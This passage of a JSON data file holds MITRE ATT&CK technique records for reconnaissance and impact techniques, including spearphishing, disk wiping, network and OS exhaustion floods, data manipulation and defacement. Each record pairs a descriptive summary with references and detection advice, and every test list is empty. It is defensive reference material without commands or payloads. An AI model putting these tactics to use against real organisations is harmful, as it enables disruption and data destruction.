- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1591.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867",
- "type": "attack-pattern",
- "created": "2020-10-02T16:32:33.126Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1591.001",
- "url": "https://attack.mitre.org/techniques/T1591/001"
- },
- {
- "source_name": "ThreatPost Broadvoice Leak",
- "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/",
- "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."
- },
- {
- "source_name": "SEC EDGAR Search",
- "url": "https://www.sec.gov/edgar/search-and-access",
- "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021."
- }
- ],
- "modified": "2021-08-27T15:37:09.025Z",
- "name": "Determine Physical Locations",
- "description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1598.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Robert Simmons, @MalwareUtkonos"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--f870408c-b1cd-49c7-a5c7-0ef0fc496cc6",
- "type": "attack-pattern",
- "created": "2020-10-02T17:08:07.742Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1598.001",
- "url": "https://attack.mitre.org/techniques/T1598/001"
- },
- {
- "source_name": "ThreatPost Social Media Phishing",
- "url": "https://threatpost.com/facebook-launching-pad-phishing-attacks/160351/",
- "description": "O'Donnell, L. (2020, October 20). Facebook: A Top Launching Pad For Phishing Attacks. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:43:12.843Z",
- "name": "Spearphishing Service",
- "description": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services.(Citation: ThreatPost Social Media Phishing) These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Monitor social media traffic for suspicious activity, including messages requesting information as well as abnormal file or data transfers (especially those involving unknown, or otherwise suspicious accounts).\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow",
- "Application Log: Application Log Content"
- ]
- },
- "atomic_tests": []
- }
- }
- },
- {
- "category": "impact",
- "data": {
- "T1561.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9",
- "type": "attack-pattern",
- "created": "2020-02-20T22:10:20.484Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1561.002",
- "url": "https://attack.mitre.org/techniques/T1561/002"
- },
- {
- "source_name": "Symantec Shamoon 2012",
- "url": "https://www.symantec.com/connect/blogs/shamoon-attacks",
- "description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019."
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html",
- "description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
- "source_name": "FireEye Shamoon Nov 2016"
- },
- {
- "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
- "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
- "source_name": "Palo Alto Shamoon Nov 2016"
- },
- {
- "source_name": "Kaspersky StoneDrill 2017",
- "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf",
- "description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019."
- },
- {
- "source_name": "Unit 42 Shamoon3 2018",
- "url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/",
- "description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019."
- },
- {
- "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon",
- "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
- "source_name": "Microsoft Sysmon v6 May 2017"
- }
- ],
- "modified": "2020-03-28T23:00:00.367Z",
- "name": "Disk Structure Wipe",
- "description": "Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources. \n\nAdversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.\n\nTo maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\
notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Drive: Drive Access",
- "Process: Process Creation",
- "Command: Command Execution",
- "Drive: Drive Modification",
- "Driver: Driver Load"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "root",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1498.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3",
- "created": "2020-03-02T20:07:18.651Z",
- "x_mitre_version": "1.3",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1498.001",
- "url": "https://attack.mitre.org/techniques/T1498/001"
- },
- {
- "source_name": "Cisco DoSdetectNetflow",
- "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
- "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
- },
- {
- "source_name": "USNYAG IranianBotnet March 2016",
- "url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged",
- "description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/125.html",
- "source_name": "capec",
- "external_id": "CAPEC-125"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/486.html",
- "source_name": "capec",
- "external_id": "CAPEC-486"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.\n\nBotnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)",
- "modified": "2022-04-19T23:28:52.908Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Direct Network Flood",
- "x_mitre_detection": "Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Sensor Health: Host Status",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1492": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92",
- "type": "attack-pattern",
- "created": "2019-04-09T11:51:30.942Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1492",
- "url": "https://attack.mitre.org/techniques/T1492"
- },
- {
- "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
- "url": "https://content.fireeye.com/apt/rpt-apt38",
- "source_name": "FireEye APT38 Oct 2018"
- },
- {
- "source_name": "DOJ Lazarus Sony 2018",
- "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
- "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
- }
- ],
- "modified": "2020-03-02T14:24:26.780Z",
- "name": "Stored Data Manipulation",
- "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_impact_type": [
- "Integrity"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "root",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1491.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "IaaS",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3",
- "type": "attack-pattern",
- "created": "2020-02-20T14:34:08.496Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1491.002",
- "url": "https://attack.mitre.org/techniques/T1491/002"
- },
- {
- "source_name": "FireEye Cyber Threats to Media Industries",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf",
- "description": "FireEye. (n.d.). Retrieved April 19, 2019."
- },
- {
- "source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence",
- "url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf",
- "description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019."
- },
- {
- "source_name": "Anonymous Hackers Deface Russian Govt Site",
- "url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/",
- "description": "Andy. (2018, May 12). \u2018Anonymous\u2019 Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019."
- },
- {
- "source_name": "Trend Micro Deep Dive Into Defacement",
- "url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf",
- "description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019."
- }
- ],
- "modified": "2022-03-25T19:34:37.539Z",
- "name": "External Defacement",
- "description": "An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system\u2019s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_impact_type": [
- "Integrity"
- ]
- },
- "atomic_tests": []
- },
- "T1499.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--0df05477-c572-4ed6-88a9-47c581f548f7",
- "created": "2020-02-20T15:27:18.581Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1499.001",
- "url": "https://attack.mitre.org/techniques/T1499/001"
- },
- {
- "source_name": "Cisco DoSdetectNetflow",
- "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
- "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
- },
- {
- "source_name": "Cloudflare SynFlood",
- "url": "https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/",
- "description": "Cloudflare. (n.d.). What is a SYN flood attack?. Retrieved April 22, 2019."
- },
- {
- "source_name": "Corero SYN-ACKflood",
- "url": "https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html",
- "description": "Corero. (n.d.). What is a SYN-ACK Flood Attack?. Retrieved April 22, 2019."
- },
- {
- "source_name": "Arbor AnnualDoSreport Jan 2018",
- "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf",
- "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/469.html",
- "source_name": "capec",
- "external_id": "CAPEC-469"
- },
- {
- "url": "https://capec.mitre.org/data/definitions/482.html",
- "source_name": "capec",
- "external_id": "CAPEC-482"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.\n\nDifferent ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)\n\nACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)",
- "modified": "2022-04-19T23:12:31.329Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "OS Exhaustion Flood",
- "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow",
- "Sensor Health: Host Status"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1499.003": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Azure AD",
- "Office 365",
- "SaaS",
- "IaaS",
- "Linux",
- "macOS",
- "Google Workspace"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--18cffc21-3260-437e-80e4-4ab8bf2ba5e9",
- "type": "attack-pattern",
- "created": "2020-02-20T15:35:00.025Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1499.003",
- "url": "https://attack.mitre.org/techniques/T1499/003"
- },
- {
- "source_name": "Arbor AnnualDoSreport Jan 2018",
- "url": "https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf",
- "description": "Philippe Alcoy, Steinthor Bjarnason, Paul Bowen, C.F. Chui, Kirill Kasavchnko, and Gary Sockrider of Netscout Arbor. (2018, January). Insight into the Global Threat Landscape - Netscout Arbor's 13th Annual Worldwide Infrastructure Security Report. Retrieved April 22, 2019."
- },
- {
- "source_name": "Cisco DoSdetectNetflow",
- "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
- "description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019."
- }
- ],
- "modified": "2022-03-25T18:07:45.176Z",
- "name": "Application Exhaustion Flood",
- "description": "Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Sensor Health: Host Status",
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ]
- },
- "atomic_tests": []
- },
- "T1561": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--1988cc35-ced8-4dad-b2d1-7628488fa967",
- "type": "attack-pattern",
- "created": "2020-02-20T22:02:20.372Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1561",
- "url": "https://attack.mitre.org/techniques/T1561"
- },
- {
- "source_name": "Novetta Blockbuster Destructive Malware",
- "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
- "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
- },
- {
- "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon",
- "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
- "source_name": "Microsoft Sysmon v6 May 2017"
- }
- ],
- "modified": "2020-03-28T23:00:00.599Z",
- "name": "Disk Wipe",
- "description": "Adversaries may wipe or corrupt raw disk data on specific systems or in large numbers in a network to interrupt availability to system and network resources. With direct write access to a disk, adversaries may attempt to overwrite portions of disk data. Adversaries may opt to wipe arbitrary portions of disk data and/or wipe disk structures like the master boot record (MBR). A complete wipe of all disk sectors may be attempted.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disks may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "impact"
- }
- ],
- "x_mitre_detection": "Look for attempts to read/write to sensitive locations like the partition boot sector, master boot record, disk partition table, or BIOS parameter block/superblock. Monitor for direct access read/write attempts using the \\\\\\\\.\\\\
notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Drive: Drive Access",
- "Driver: Driver Load",
- "Process: Process Creation",
- "Drive: Drive Modification"
- ],
- "x_mitre_impact_type": [
- "Availability"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root",
- "SYSTEM",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1565.001": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
